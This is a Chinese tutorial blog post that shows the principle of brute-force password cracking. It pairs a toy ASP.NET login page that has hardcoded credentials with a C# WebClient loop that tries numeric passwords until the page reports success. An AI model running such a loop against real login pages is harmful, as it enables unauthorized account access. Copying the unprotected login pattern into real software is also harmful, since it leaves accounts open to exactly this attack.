利用穷举密码的破解原理

①.创建一个“被攻击网站”的登录页面:DeFault.aspx

提交按钮的引发事件:

    protected void Button1_Click(object sender, EventArgs e)
    {
        if (TextBox1.Text == "admin" && TextBox2.Text == "123")
        {
           Response.Write("登录成功");
        }
        else
        {
           Response.Write ("登录失败");
        }
    }

②.创建一个控制台应用程序:名为“破解DeFault”

static void Main(string[] args)
        {
            WebClient wc = new WebClient(); //创建WebClient类型对象,用于向 URL标识的资源 发送数据。
            wc.Encoding = Encoding.UTF8;
            for (int i = 0; i < 500; i++)  //通过for循环依次从0到500提交密码,当“被攻击”的网页出现“登录成功”的字符串时的 i 值就是正确的密码!
            {
                string s = wc.DownloadString("<资源地址>");  //这里的<资源地址> 是指包含提交信息的URL(可通过IE的bebugbar查取),其中将密码文本框的Text设置为:TextBox2.Text=“+ i +”。
                if(s.Contains("登录成功"))
                {
                    Console.WriteLine("找到密码了"+i);
                }
            }
                Console.ReadKey();
        }

WebClient类:将数据发送到URI标识的资源及从此资源接收数据的常用方法。

该类的DownloadString(string address)属性:以string形式下载请求的资源、指定要下载的资源。在这里应注意:这方法会先将数据以byte[]形式下载,再根据byte[]猜测数据的编码后再编译成字符串,猜测猜错了就会出现乱码,所以最好手动用相应的Encoding编码。

DebugBar是功能强的IE插件,从各个不同的角度剖析Web页面内部的细节层面.
官方下载:http://www.debugbar.com/download.php

③调试“破解DeFault”就可获得

原文地址:https://www.cnblogs.com/slowsoul/p/2773073.html